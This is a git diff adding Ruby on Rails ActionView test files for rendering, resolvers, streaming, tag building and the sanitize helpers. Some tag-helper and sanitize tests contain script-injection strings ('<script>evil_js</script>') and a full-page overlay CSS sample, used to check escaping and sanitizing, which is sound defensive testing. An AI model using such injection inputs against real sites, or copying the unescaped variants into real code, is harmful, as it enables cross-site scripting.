+    e = assert_raises(ActionView::MissingTemplate) { @view.render(partial: "test/partial", layout: true) }
+    assert_match "Missing partial /_true with", e.message
+  end
+
+  def test_render_with_nested_layout
+    assert_equal %(<title>title</title>\n\n<div id="column">column</div>\n<div id="content">content</div>\n),
+      @view.render(file: "test/nested_layout", layout: "layouts/yield")
+  end
+
+  def test_render_with_file_in_layout
+    assert_equal %(\n<title>title</title>\n\n),
+      @view.render(file: "test/layout_render_file")
+  end
+
+  def test_render_layout_with_object
+    assert_equal %(<title>David</title>),
+      @view.render(file: "test/layout_render_object")
+  end
+
+  def test_render_with_passing_couple_extensions_to_one_register_template_handler_function_call
+    ActionView::Template.register_template_handler :foo1, :foo2, CustomHandler
+    assert_equal @view.render(inline: "Hello, World!".dup, type: :foo1), @view.render(inline: "Hello, World!".dup, type: :foo2)
+  ensure
+    ActionView::Template.unregister_template_handler :foo1, :foo2
+  end
+
+  def test_render_throws_exception_when_no_extensions_passed_to_register_template_handler_function_call
+    assert_raises(ArgumentError) { ActionView::Template.register_template_handler CustomHandler }
+  end
+end
+
+class CachedViewRenderTest < ActiveSupport::TestCase
+  include RenderTestCases
+
+  # Ensure view path cache is primed
+  def setup
+    view_paths = ActionController::Base.view_paths
+    assert_equal ActionView::OptimizedFileSystemResolver, view_paths.first.class
+    setup_view(view_paths)
+  end
+
+  def teardown
+    GC.start
+    I18n.reload!
+  end
+end
+
+class LazyViewRenderTest < ActiveSupport::TestCase
+  include RenderTestCases
+
+  # Test the same thing as above, but make sure the view path
+  # is not eager loaded
+  def setup
+    path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
+    view_paths = ActionView::PathSet.new([path])
+    assert_equal ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH), view_paths.first
+    setup_view(view_paths)
+  end
+
+  def teardown
+    GC.start
+    I18n.reload!
+  end
+
+  def test_render_utf8_template_with_magic_comment
+    with_external_encoding Encoding::ASCII_8BIT do
+      result = @view.render(file: "test/utf8_magic", formats: [:html], layouts: "layouts/yield")
+      assert_equal Encoding::UTF_8, result.encoding
+      assert_equal "\nРусский \nтекст\n\nUTF-8\nUTF-8\nUTF-8\n", result
+    end
+  end
+
+  def test_render_utf8_template_with_default_external_encoding
+    with_external_encoding Encoding::UTF_8 do
+      result = @view.render(file: "test/utf8", formats: [:html], layouts: "layouts/yield")
+      assert_equal Encoding::UTF_8, result.encoding
+      assert_equal "Русский текст\n\nUTF-8\nUTF-8\nUTF-8\n", result
+    end
+  end
+
+  def test_render_utf8_template_with_incompatible_external_encoding
+    with_external_encoding Encoding::SHIFT_JIS do
+      e = assert_raises(ActionView::Template::Error) { @view.render(file: "test/utf8", formats: [:html], layouts: "layouts/yield") }
+      assert_match "Your template was not saved as valid Shift_JIS", e.cause.message
+    end
+  end
+
+  def test_render_utf8_template_with_partial_with_incompatible_encoding
+    with_external_encoding Encoding::SHIFT_JIS do
+      e = assert_raises(ActionView::Template::Error) { @view.render(file: "test/utf8_magic_with_bare_partial", formats: [:html], layouts: "layouts/yield") }
+      assert_match "Your template was not saved as valid Shift_JIS", e.cause.message
+    end
+  end
+
+  def with_external_encoding(encoding)
+    old = Encoding.default_external
+    silence_warnings { Encoding.default_external = encoding }
+    yield
+  ensure
+    silence_warnings { Encoding.default_external = old }
+  end
+end
+
+class CachedCollectionViewRenderTest < ActiveSupport::TestCase
+  class CachedCustomer < Customer; end
+
+  include RenderTestCases
+
+  # Ensure view path cache is primed
+  setup do
+    view_paths = ActionController::Base.view_paths
+    assert_equal ActionView::OptimizedFileSystemResolver, view_paths.first.class
+
+    ActionView::PartialRenderer.collection_cache = ActiveSupport::Cache::MemoryStore.new
+
+    setup_view(view_paths)
+  end
+
+  teardown do
+    GC.start
+    I18n.reload!
+  end
+
+  test "collection caching does not cache by default" do
+    customer = Customer.new("david", 1)
+    key = cache_key(customer, "test/_customer")
+
+    ActionView::PartialRenderer.collection_cache.write(key, "Cached")
+
+    assert_not_equal "Cached",
+      @view.render(partial: "test/customer", collection: [customer])
+  end
+
+  test "collection caching with partial that doesn't use fragment caching" do
+    customer = Customer.new("david", 1)
+    key = cache_key(customer, "test/_customer")
+
+    ActionView::PartialRenderer.collection_cache.write(key, "Cached")
+
+    assert_equal "Cached",
+      @view.render(partial: "test/customer", collection: [customer], cached: true)
+  end
+
+  test "collection caching with cached true" do
+    customer = CachedCustomer.new("david", 1)
+    key = cache_key(customer, "test/_cached_customer")
+
+    ActionView::PartialRenderer.collection_cache.write(key, "Cached")
+
+    assert_equal "Cached",
+      @view.render(partial: "test/cached_customer", collection: [customer], cached: true)
+  end
+
+  private
+    def cache_key(*names, virtual_path)
+      digest = ActionView::Digestor.digest name: virtual_path, finder: @view.lookup_context, dependencies: []
+      @view.combined_fragment_cache_key([ "#{virtual_path}:#{digest}", *names ])
+    end
+end
diff --git a/actionview/test/template/resolver_cache_test.rb b/actionview/test/template/resolver_cache_test.rb
new file mode 100644
index 0000000000..8a5db1346a
--- /dev/null
+++ b/actionview/test/template/resolver_cache_test.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ResolverCacheTest < ActiveSupport::TestCase
+  def test_inspect_shields_cache_internals
+    assert_match %r(#<ActionView::Resolver:0x[0-9a-f]+ @cache=#<ActionView::Resolver::Cache:0x[0-9a-f]+ keys=0 queries=0>>), ActionView::Resolver.new.inspect
+  end
+end
diff --git a/actionview/test/template/resolver_patterns_test.rb b/actionview/test/template/resolver_patterns_test.rb
new file mode 100644
index 0000000000..1e1a4c5063
--- /dev/null
+++ b/actionview/test/template/resolver_patterns_test.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ResolverPatternsTest < ActiveSupport::TestCase
+  def setup
+    path = File.expand_path("../fixtures", __dir__)
+    pattern = ":prefix/{:formats/,}:action{.:formats,}{+:variants,}{.:handlers,}"
+    @resolver = ActionView::FileSystemResolver.new(path, pattern)
+  end
+
+  def test_should_return_empty_list_for_unknown_path
+    templates = @resolver.find_all("unknown", "custom_pattern", false, locale: [], formats: [:html], variants: [], handlers: [:erb])
+    assert_equal [], templates, "expected an empty list of templates"
+  end
+
+  def test_should_return_template_for_declared_path
+    templates = @resolver.find_all("path", "custom_pattern", false, locale: [], formats: [:html], variants: [], handlers: [:erb])
+    assert_equal 1, templates.size, "expected one template"
+    assert_equal "Hello custom patterns!", templates.first.source
+    assert_equal "custom_pattern/path",    templates.first.virtual_path
+    assert_equal [:html],                  templates.first.formats
+  end
+
+  def test_should_return_all_templates_when_ambiguous_pattern
+    templates = @resolver.find_all("another", "custom_pattern", false, locale: [], formats: [:html], variants: [], handlers: [:erb])
+    assert_equal 2, templates.size, "expected two templates"
+    assert_equal "Another template!",      templates[0].source
+    assert_equal "custom_pattern/another", templates[0].virtual_path
+    assert_equal "Hello custom patterns!", templates[1].source
+    assert_equal "custom_pattern/another", templates[1].virtual_path
+  end
+
+  def test_should_return_all_variants_for_any
+    templates = @resolver.find_all("hello_world", "test", false, locale: [], formats: [:html, :text], variants: :any, handlers: [:erb])
+    assert_equal 3, templates.size, "expected three templates"
+    assert_equal "Hello phone!",       templates[0].source
+    assert_equal "test/hello_world",   templates[0].virtual_path
+    assert_equal "Hello texty phone!", templates[1].source
+    assert_equal "test/hello_world",   templates[1].virtual_path
+    assert_equal "Hello world!",       templates[2].source
+    assert_equal "test/hello_world",   templates[2].virtual_path
+  end
+end
diff --git a/actionview/test/template/sanitize_helper_test.rb b/actionview/test/template/sanitize_helper_test.rb
new file mode 100644
index 0000000000..c7714cf205
--- /dev/null
+++ b/actionview/test/template/sanitize_helper_test.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+# The exhaustive tests are in the rails-html-sanitizer gem.
+# This tests that the helpers hook up correctly to the sanitizer classes.
+class SanitizeHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::SanitizeHelper
+
+  def test_strip_links
+    assert_equal "Dont touch me", strip_links("Dont touch me")
+    assert_equal "on my mind\nall day long", strip_links("<a href='almost'>on my mind</a>\n<A href='almost'>all day long</A>")
+    assert_equal "Magic", strip_links("<a href='http://www.rubyonrails.com/'>Mag<a href='http://www.ruby-lang.org/'>ic")
+    assert_equal "My mind\nall <b>day</b> long", strip_links("<a href='almost'>My mind</a>\n<A href='almost'>all <b>day</b> long</A>")
+    assert_equal "&lt;malformed &amp; link", strip_links('<<a href="https://example.org">malformed & link</a>')
+  end
+
+  def test_sanitize_form
+    assert_equal "", sanitize("<form action=\"/foo/bar\" method=\"post\"><input></form>")
+  end
+
+  def test_should_sanitize_illegal_style_properties
+    raw      = %(display:block; position:absolute; left:0; top:0; width:100%; height:100%; z-index:1; background-color:black; background-image:url(http://www.ragingplatypus.com/i/cam-full.jpg); background-x:center; background-y:center; background-repeat:repeat;)
+    expected = %(display: block; width: 100%; height: 100%; background-color: black; background-x: center; background-y: center;)
+    assert_equal expected, sanitize_css(raw)
+  end
+
+  def test_strip_tags
+    assert_equal("Dont touch me", strip_tags("Dont touch me"))
+    assert_equal("This is a test.", strip_tags("<p>This <u>is<u> a <a href='test.html'><strong>test</strong></a>.</p>"))
+    assert_equal "This has a  here.", strip_tags("This has a <!-- comment --> here.")
+    assert_equal("Jekyll &amp; Hyde", strip_tags("Jekyll & Hyde"))
+    assert_equal "", strip_tags("<script>")
+  end
+
+  def test_strip_tags_will_not_encode_special_characters
+    assert_equal "test\r\n\r\ntest", strip_tags("test\r\n\r\ntest")
+  end
+
+  def test_sanitize_is_marked_safe
+    assert sanitize("<html><script></script></html>").html_safe?
+  end
+end
diff --git a/actionview/test/template/streaming_render_test.rb b/actionview/test/template/streaming_render_test.rb
new file mode 100644
index 0000000000..23edf7b538
--- /dev/null
+++ b/actionview/test/template/streaming_render_test.rb
@@ -0,0 +1,113 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class TestController < ActionController::Base
+end
+
+class FiberedTest < ActiveSupport::TestCase
+  def setup
+    view_paths = ActionController::Base.view_paths
+    @assigns = { secret: "in the sauce", name: nil }
+    @view = ActionView::Base.new(view_paths, @assigns)
+    @controller_view = TestController.new.view_context
+  end
+
+  def render_body(options)
+    @view.view_renderer.render_body(@view, options)
+  end
+
+  def buffered_render(options)
+    body = render_body(options)
+    string = "".dup
+    body.each do |piece|
+      string << piece
+    end
+    string
+  end
+
+  def test_streaming_works
+    content = []
+    body = render_body(template: "test/hello_world", layout: "layouts/yield")
+
+    body.each do |piece|
+      content << piece
+    end
+
+    assert_equal "<title>",      content[0]
+    assert_equal "",             content[1]
+    assert_equal "</title>\n",   content[2]
+    assert_equal "Hello world!", content[3]
+    assert_equal "\n",           content[4]
+  end
+
+  def test_render_file
+    assert_equal "Hello world!", buffered_render(file: "test/hello_world")
+  end
+
+  def test_render_file_with_locals
+    locals = { secret: "in the sauce" }
+    assert_equal "The secret is in the sauce\n", buffered_render(file: "test/render_file_with_locals", locals: locals)
+  end
+
+  def test_render_partial
+    assert_equal "only partial", buffered_render(partial: "test/partial_only")
+  end
+
+  def test_render_inline
+    assert_equal "Hello, World!", buffered_render(inline: "Hello, World!")
+  end
+
+  def test_render_without_layout
+    assert_equal "Hello world!", buffered_render(template: "test/hello_world")
+  end
+
+  def test_render_with_layout
+    assert_equal %(<title></title>\nHello world!\n),
+      buffered_render(template: "test/hello_world", layout: "layouts/yield")
+  end
+
+  def test_render_with_layout_which_has_render_inline
+    assert_equal %(welcome\nHello world!\n),
+      buffered_render(template: "test/hello_world", layout: "layouts/yield_with_render_inline_inside")
+  end
+
+  def test_render_with_layout_which_renders_another_partial
+    assert_equal %(partial html\nHello world!\n),
+      buffered_render(template: "test/hello_world", layout: "layouts/yield_with_render_partial_inside")
+  end
+
+  def test_render_with_nested_layout
+    assert_equal %(<title>title</title>\n\n<div id="column">column</div>\n<div id="content">content</div>\n),
+      buffered_render(template: "test/nested_layout", layout: "layouts/yield")
+  end
+
+  def test_render_with_file_in_layout
+    assert_equal %(\n<title>title</title>\n\n),
+      buffered_render(template: "test/layout_render_file")
+  end
+
+  def test_render_with_handler_without_streaming_support
+    assert_match "<p>This is grand!</p>", buffered_render(template: "test/hello")
+  end
+
+  def test_render_with_streaming_multiple_yields_provide_and_content_for
+    assert_equal "Yes, \nthis works\n like a charm.",
+      buffered_render(template: "test/streaming", layout: "layouts/streaming")
+  end
+
+  def test_render_with_streaming_with_fake_yields_and_streaming_buster
+    assert_equal "This won't look\n good.",
+      buffered_render(template: "test/streaming_buster", layout: "layouts/streaming")
+  end
+
+  def test_render_with_nested_streaming_multiple_yields_provide_and_content_for
+    assert_equal "?Yes, \n\nthis works\n\n? like a charm.",
+      buffered_render(template: "test/nested_streaming", layout: "layouts/streaming")
+  end
+
+  def test_render_with_streaming_and_capture
+    assert_equal "Yes, \n this works\n like a charm.",
+      buffered_render(template: "test/streaming", layout: "layouts/streaming_with_capture")
+  end
+end
diff --git a/actionview/test/template/tag_helper_test.rb b/actionview/test/template/tag_helper_test.rb
new file mode 100644
index 0000000000..8c57803796
--- /dev/null
+++ b/actionview/test/template/tag_helper_test.rb
@@ -0,0 +1,357 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class TagHelperTest < ActionView::TestCase
+  include RenderERBUtils
+
+  tests ActionView::Helpers::TagHelper
+
+  def test_tag
+    assert_equal "<br />", tag("br")
+    assert_equal "<br clear=\"left\" />", tag(:br, clear: "left")
+    assert_equal "<br>", tag("br", nil, true)
+  end
+
+  def test_tag_builder
+    assert_equal "<span></span>", tag.span
+    assert_equal "<span class=\"bookmark\"></span>", tag.span(class: "bookmark")
+  end
+
+  def test_tag_builder_void_tag
+    assert_equal "<br>", tag.br
+    assert_equal "<br class=\"some_class\">", tag.br(class: "some_class")
+  end
+
+  def test_tag_builder_void_tag_with_forced_content
+    assert_equal "<br>some content</br>", tag.br("some content")
+  end
+
+  def test_tag_builder_is_singleton
+    assert_equal tag, tag
+  end
+
+  def test_tag_options
+    str = tag("p", "class" => "show", :class => "elsewhere")
+    assert_match(/class="show"/, str)
+    assert_match(/class="elsewhere"/, str)
+  end
+
+  def test_tag_options_rejects_nil_option
+    assert_equal "<p />", tag("p", ignored: nil)
+  end
+
+  def test_tag_builder_options_rejects_nil_option
+    assert_equal "<p></p>", tag.p(ignored: nil)
+  end
+
+  def test_tag_options_accepts_false_option
+    assert_equal "<p value=\"false\" />", tag("p", value: false)
+  end
+
+  def test_tag_builder_options_accepts_false_option
+    assert_equal "<p value=\"false\"></p>", tag.p(value: false)
+  end
+
+  def test_tag_options_accepts_blank_option
+    assert_equal "<p included=\"\" />", tag("p", included: "")
+  end
+
+  def test_tag_builder_options_accepts_blank_option
+    assert_equal "<p included=\"\"></p>", tag.p(included: "")
+  end
+
+  def test_tag_options_accepts_symbol_option_when_not_escaping
+    assert_equal "<p value=\"symbol\" />", tag("p", { value: :symbol }, false, false)
+  end
+
+  def test_tag_options_accepts_integer_option_when_not_escaping
+    assert_equal "<p value=\"42\" />", tag("p", { value: 42 }, false, false)
+  end
+
+  def test_tag_options_converts_boolean_option
+    assert_dom_equal '<p disabled="disabled" itemscope="itemscope" multiple="multiple" readonly="readonly" allowfullscreen="allowfullscreen" seamless="seamless" typemustmatch="typemustmatch" sortable="sortable" default="default" inert="inert" truespeed="truespeed" />',
+      tag("p", disabled: true, itemscope: true, multiple: true, readonly: true, allowfullscreen: true, seamless: true, typemustmatch: true, sortable: true, default: true, inert: true, truespeed: true)
+  end
+
+  def test_tag_builder_options_converts_boolean_option
+    assert_dom_equal '<p disabled="disabled" itemscope="itemscope" multiple="multiple" readonly="readonly" allowfullscreen="allowfullscreen" seamless="seamless" typemustmatch="typemustmatch" sortable="sortable" default="default" inert="inert" truespeed="truespeed" />',
+      tag.p(disabled: true, itemscope: true, multiple: true, readonly: true, allowfullscreen: true, seamless: true, typemustmatch: true, sortable: true, default: true, inert: true, truespeed: true)
+  end
+
+  def test_content_tag
+    assert_equal "<a href=\"create\">Create</a>", content_tag("a", "Create", "href" => "create")
+    assert content_tag("a", "Create", "href" => "create").html_safe?
+    assert_equal content_tag("a", "Create", "href" => "create"),
+                 content_tag("a", "Create", href: "create")
+    assert_equal "<p>&lt;script&gt;evil_js&lt;/script&gt;</p>",
+                 content_tag(:p, "<script>evil_js</script>")
+    assert_equal "<p><script>evil_js</script></p>",
+                 content_tag(:p, "<script>evil_js</script>", nil, false)
+  end
+
+  def test_tag_builder_with_content
+    assert_equal "<div id=\"post_1\">Content</div>", tag.div("Content", id: "post_1")
+    assert tag.div("Content", id: "post_1").html_safe?
+    assert_equal tag.div("Content", id: "post_1"),
+                 tag.div("Content", "id": "post_1")
+    assert_equal "<p>&lt;script&gt;evil_js&lt;/script&gt;</p>",
+                 tag.p("<script>evil_js</script>")
+    assert_equal "<p><script>evil_js</script></p>",
+                 tag.p("<script>evil_js</script>", escape_attributes: false)
+  end
+
+  def test_tag_builder_nested
+    assert_equal "<div>content</div>",
+                 tag.div { "content" }
+    assert_equal "<div id=\"header\"><span>hello</span></div>",
+                 tag.div(id: "header") { |tag| tag.span "hello" }
+    assert_equal "<div id=\"header\"><div class=\"world\"><span>hello</span></div></div>",
+                 tag.div(id: "header") { |tag| tag.div(class: "world") { tag.span "hello" } }
+  end
+
+  def test_content_tag_with_block_in_erb
+    buffer = render_erb("<%= content_tag(:div) do %>Hello world!<% end %>")
+    assert_dom_equal "<div>Hello world!</div>", buffer
+  end
+
+  def test_tag_builder_with_block_in_erb
+    buffer = render_erb("<%= tag.div do %>Hello world!<% end %>")
+    assert_dom_equal "<div>Hello world!</div>", buffer
+  end
+
+  def test_content_tag_with_block_in_erb_containing_non_displayed_erb
+    buffer = render_erb("<%= content_tag(:p) do %><% 1 %><% end %>")
+    assert_dom_equal "<p></p>", buffer
+  end
+
+  def test_tag_builder_with_block_in_erb_containing_non_displayed_erb
+    buffer = render_erb("<%= tag.p do %><% 1 %><% end %>")
+    assert_dom_equal "<p></p>", buffer
+  end
+
+  def test_content_tag_with_block_and_options_in_erb
+    buffer = render_erb("<%= content_tag(:div, :class => 'green') do %>Hello world!<% end %>")
+    assert_dom_equal %(<div class="green">Hello world!</div>), buffer
+  end
+
+  def test_tag_builder_with_block_and_options_in_erb
+    buffer = render_erb("<%= tag.div(class: 'green') do %>Hello world!<% end %>")
+    assert_dom_equal %(<div class="green">Hello world!</div>), buffer
+  end
+
+  def test_content_tag_with_block_and_options_out_of_erb
+    assert_dom_equal %(<div class="green">Hello world!</div>), content_tag(:div, class: "green") { "Hello world!" }
+  end
+
+  def test_tag_builder_with_block_and_options_out_of_erb
+    assert_dom_equal %(<div class="green">Hello world!</div>), tag.div(class: "green") { "Hello world!" }
+  end
+
+  def test_content_tag_with_block_and_options_outside_out_of_erb
+    assert_equal content_tag("a", "Create", href: "create"),
+                 content_tag("a", "href" => "create") { "Create" }
+  end
+
+  def test_tag_builder_with_block_and_options_outside_out_of_erb
+    assert_equal tag.a("Create", href: "create"),
+                 tag.a("href": "create") { "Create" }
+  end
+
+  def test_content_tag_with_block_and_non_string_outside_out_of_erb
+    assert_equal content_tag("p"),
+                 content_tag("p") { 3.times { "do_something" } }
+  end
+
+  def test_tag_builder_with_block_and_non_string_outside_out_of_erb
+    assert_equal tag.p,
+                 tag.p { 3.times { "do_something" } }
+  end
+
+  def test_content_tag_nested_in_content_tag_out_of_erb
+    assert_equal content_tag("p", content_tag("b", "Hello")),
+                 content_tag("p") { content_tag("b", "Hello") },
+                 output_buffer
+    assert_equal tag.p(tag.b("Hello")),
+                 tag.p { tag.b("Hello") },
+                 output_buffer
+  end
+
+  def test_content_tag_nested_in_content_tag_in_erb
+    assert_equal "<p>\n  <b>Hello</b>\n</p>", view.render("test/content_tag_nested_in_content_tag")
+    assert_equal "<p>\n  <b>Hello</b>\n</p>", view.render("test/builder_tag_nested_in_content_tag")
+  end
+
+  def test_content_tag_with_escaped_array_class
+    str = content_tag("p", "limelight", class: ["song", "play>"])
+    assert_equal "<p class=\"song play&gt;\">limelight</p>", str
+
+    str = content_tag("p", "limelight", class: ["song", "play"])
+    assert_equal "<p class=\"song play\">limelight</p>", str
+
+    str = content_tag("p", "limelight", class: ["song", ["play"]])
+    assert_equal "<p class=\"song play\">limelight</p>", str
+  end
+
+  def test_tag_builder_with_escaped_array_class
+    str = tag.p "limelight", class: ["song", "play>"]
+    assert_equal "<p class=\"song play&gt;\">limelight</p>", str
+
+    str = tag.p "limelight", class: ["song", "play"]
+    assert_equal "<p class=\"song play\">limelight</p>", str
+
+    str = tag.p "limelight", class: ["song", ["play"]]
+    assert_equal "<p class=\"song play\">limelight</p>", str
+  end
+
+  def test_content_tag_with_unescaped_array_class
+    str = content_tag("p", "limelight", { class: ["song", "play>"] }, false)
+    assert_equal "<p class=\"song play>\">limelight</p>", str
+
+    str = content_tag("p", "limelight", { class: ["song", ["play>"]] }, false)
+    assert_equal "<p class=\"song play>\">limelight</p>", str
+  end
+
+  def test_tag_builder_with_unescaped_array_class
+    str = tag.p "limelight", class: ["song", "play>"], escape_attributes: false
+    assert_equal "<p class=\"song play>\">limelight</p>", str
+
+    str = tag.p "limelight", class: ["song", ["play>"]], escape_attributes: false
+    assert_equal "<p class=\"song play>\">limelight</p>", str
+  end
+
+  def test_content_tag_with_empty_array_class
+    str = content_tag("p", "limelight", class: [])
+    assert_equal '<p class="">limelight</p>', str
+  end
+
+  def test_tag_builder_with_empty_array_class
+    assert_equal '<p class="">limelight</p>', tag.p("limelight", class: [])
+  end
+
+  def test_content_tag_with_unescaped_empty_array_class
+    str = content_tag("p", "limelight", { class: [] }, false)
+    assert_equal '<p class="">limelight</p>', str
+  end
+
+  def test_tag_builder_with_unescaped_empty_array_class
+    str = tag.p "limelight", class: [], escape_attributes: false
+    assert_equal '<p class="">limelight</p>', str
+  end
+
+  def test_content_tag_with_data_attributes
+    assert_dom_equal '<p data-number="1" data-string="hello" data-string-with-quotes="double&quot;quote&quot;party&quot;">limelight</p>',
+      content_tag("p", "limelight", data: { number: 1, string: "hello", string_with_quotes: 'double"quote"party"' })
+  end
+
+  def test_tag_builder_with_data_attributes
+    assert_dom_equal '<p data-number="1" data-string="hello" data-string-with-quotes="double&quot;quote&quot;party&quot;">limelight</p>',
+      tag.p("limelight", data: { number: 1, string: "hello", string_with_quotes: 'double"quote"party"' })
+  end
+
+  def test_cdata_section
+    assert_equal "<![CDATA[<hello world>]]>", cdata_section("<hello world>")
+  end
+
+  def test_cdata_section_with_string_conversion
+    assert_equal "<![CDATA[]]>", cdata_section(nil)
+  end
+
+  def test_cdata_section_splitted
+    assert_equal "<![CDATA[hello]]]]><![CDATA[>world]]>", cdata_section("hello]]>world")
+    assert_equal "<![CDATA[hello]]]]><![CDATA[>world]]]]><![CDATA[>again]]>", cdata_section("hello]]>world]]>again")
+  end
+
+  def test_escape_once
+    assert_equal "1 &lt; 2 &amp; 3", escape_once("1 < 2 &amp; 3")
+    assert_equal " &#X27; &#x27; &#x03BB; &#X03bb; &quot; &#39; &lt; &gt; ", escape_once(" &#X27; &#x27; &#x03BB; &#X03bb; \" ' < > ")
+  end
+
+  def test_tag_honors_html_safe_for_param_values
+    ["1&amp;2", "1 &lt; 2", "&#8220;test&#8220;"].each do |escaped|
+      assert_equal %(<a href="#{escaped}" />), tag("a", href: escaped.html_safe)
+      assert_equal %(<a href="#{escaped}"></a>), tag.a(href: escaped.html_safe)
+    end
+  end
+
+  def test_tag_honors_html_safe_with_escaped_array_class
+    assert_equal '<p class="song&gt; play>" />', tag("p", class: ["song>", raw("play>")])
+    assert_equal '<p class="song> play&gt;" />', tag("p", class: [raw("song>"), "play>"])
+  end
+
+  def test_tag_builder_honors_html_safe_with_escaped_array_class
+    assert_equal '<p class="song&gt; play>"></p>', tag.p(class: ["song>", raw("play>")])
+    assert_equal '<p class="song> play&gt;"></p>', tag.p(class: [raw("song>"), "play>"])
+  end
+
+  def test_tag_does_not_honor_html_safe_double_quotes_as_attributes
+    assert_dom_equal '<p title="&quot;">content</p>',
+      content_tag("p", "content", title: '"'.html_safe)
+  end
+
+  def test_data_tag_does_not_honor_html_safe_double_quotes_as_attributes
+    assert_dom_equal '<p data-title="&quot;">content</p>',
+      content_tag("p", "content", data: { title: '"'.html_safe })
+  end
+
+  def test_skip_invalid_escaped_attributes
+    ["&1;", "&#1dfa3;", "& #123;"].each do |escaped|
+      assert_equal %(<a href="#{escaped.gsub(/&/, '&amp;')}" />), tag("a", href: escaped)
+      assert_equal %(<a href="#{escaped.gsub(/&/, '&amp;')}"></a>), tag.a(href: escaped)
+    end
+  end
+
+  def test_disable_escaping
+    assert_equal '<a href="&amp;" />', tag("a", { href: "&amp;" }, false, false)
+  end
+
+  def test_tag_builder_disable_escaping
+    assert_equal '<a href="&amp;"></a>', tag.a(href: "&amp;", escape_attributes: false)
+    assert_equal '<a href="&amp;">cnt</a>', tag.a(href: "&amp;" , escape_attributes: false) { "cnt" }
+    assert_equal '<br data-hidden="&amp;">', tag.br("data-hidden": "&amp;" , escape_attributes: false)
+    assert_equal '<a href="&amp;">content</a>', tag.a("content", href: "&amp;", escape_attributes: false)
+    assert_equal '<a href="&amp;">content</a>', tag.a(href: "&amp;", escape_attributes: false) { "content" }
+  end
+
+  def test_data_attributes
+    ["data", :data].each { |data|
+      assert_dom_equal '<a data-a-float="3.14" data-a-big-decimal="-123.456" data-a-number="1" data-array="[1,2,3]" data-hash="{&quot;key&quot;:&quot;value&quot;}" data-string-with-quotes="double&quot;quote&quot;party&quot;" data-string="hello" data-symbol="foo" />',
+        tag("a", data => { a_float: 3.14, a_big_decimal: BigDecimal.new("-123.456"), a_number: 1, string: "hello", symbol: :foo, array: [1, 2, 3], hash: { key: "value" }, string_with_quotes: 'double"quote"party"' })
+      assert_dom_equal '<a data-a-float="3.14" data-a-big-decimal="-123.456" data-a-number="1" data-array="[1,2,3]" data-hash="{&quot;key&quot;:&quot;value&quot;}" data-string-with-quotes="double&quot;quote&quot;party&quot;" data-string="hello" data-symbol="foo" />',
+        tag.a(data: { a_float: 3.14, a_big_decimal: BigDecimal.new("-123.456"), a_number: 1, string: "hello", symbol: :foo, array: [1, 2, 3], hash: { key: "value" }, string_with_quotes: 'double"quote"party"' })
+    }
+  end
+
+  def test_aria_attributes
+    ["aria", :aria].each { |aria|
+      assert_dom_equal '<a aria-a-float="3.14" aria-a-big-decimal="-123.456" aria-a-number="1" aria-array="[1,2,3]" aria-hash="{&quot;key&quot;:&quot;value&quot;}" aria-string-with-quotes="double&quot;quote&quot;party&quot;" aria-string="hello" aria-symbol="foo" />',
+        tag("a", aria => { a_float: 3.14, a_big_decimal: BigDecimal.new("-123.456"), a_number: 1, string: "hello", symbol: :foo, array: [1, 2, 3], hash: { key: "value" }, string_with_quotes: 'double"quote"party"' })
+      assert_dom_equal '<a aria-a-float="3.14" aria-a-big-decimal="-123.456" aria-a-number="1" aria-array="[1,2,3]" aria-hash="{&quot;key&quot;:&quot;value&quot;}" aria-string-with-quotes="double&quot;quote&quot;party&quot;" aria-string="hello" aria-symbol="foo" />',
+        tag.a(aria: { a_float: 3.14, a_big_decimal: BigDecimal.new("-123.456"), a_number: 1, string: "hello", symbol: :foo, array: [1, 2, 3], hash: { key: "value" }, string_with_quotes: 'double"quote"party"' })
+    }
+  end
+
+  def test_link_to_data_nil_equal
+    div_type1 = content_tag(:div, "test", "data-tooltip" => nil)
+    div_type2 = content_tag(:div, "test", data: { tooltip: nil })
+    assert_dom_equal div_type1, div_type2
+  end
+
+  def test_tag_builder_link_to_data_nil_equal
+    div_type1 = tag.div "test", 'data-tooltip': nil
+    div_type2 = tag.div "test", data: { tooltip: nil }
+    assert_dom_equal div_type1, div_type2
+  end
+
+  def test_tag_builder_allow_call_via_method_object
+    assert_equal "<foo></foo>", tag.method(:foo).call
+  end
+
+  def test_tag_builder_dasherize_names
+    assert_equal "<img-slider></img-slider>", tag.img_slider
+  end
+
+  def test_respond_to
+    assert_respond_to tag, :any_tag
+  end
+end
diff --git a/actionview/test/template/template_error_test.rb b/actionview/test/template/template_error_test.rb
new file mode 100644
index 0000000000..c4dc88e4aa
--- /dev/null
+++ b/actionview/test/template/template_error_test.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class TemplateErrorTest < ActiveSupport::TestCase
+  def test_provides_original_message
+    error = begin
+      raise Exception.new("original")
+    rescue Exception
+      raise ActionView::Template::Error.new("test") rescue $!
+    end
+
+    assert_equal "original", error.message
+  end
+
+  def test_provides_original_backtrace
+    error = begin
+      original_exception = Exception.new
+      original_exception.set_backtrace(%W[ foo bar baz ])
+      raise original_exception
+    rescue Exception
+      raise ActionView::Template::Error.new("test") rescue $!
+    end
+
+    assert_equal %W[ foo bar baz ], error.backtrace
+  end
+
+  def test_provides_useful_inspect
+    error = begin
+      raise Exception.new("original")
+    rescue Exception
+      raise ActionView::Template::Error.new("test") rescue $!
+    end
+
+    assert_equal "#<ActionView::Template::Error: original>", error.inspect
+  end
+end
diff --git a/actionview/test/template/template_test.rb b/actionview/test/template/template_test.rb
new file mode 100644
index 0000000000..3dc14e36e0
--- /dev/null
+++ b/actionview/test/template/template_test.rb
@@ -0,0 +1,207 @@
+# encoding: US-ASCII
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "logger"
+
+class TestERBTemplate < ActiveSupport::TestCase
+  ERBHandler = ActionView::Template::Handlers::ERB.new
+
+  class LookupContext
+    def disable_cache
+      yield
+    end
+
+    def find_template(*args)
+    end
+
+    attr_accessor :formats
+  end
+
+  class Context
+    def initialize
+      @output_buffer = "original"
+      @virtual_path = nil
+    end
+
+    def hello
+      "Hello"
+    end
+
+    def apostrophe
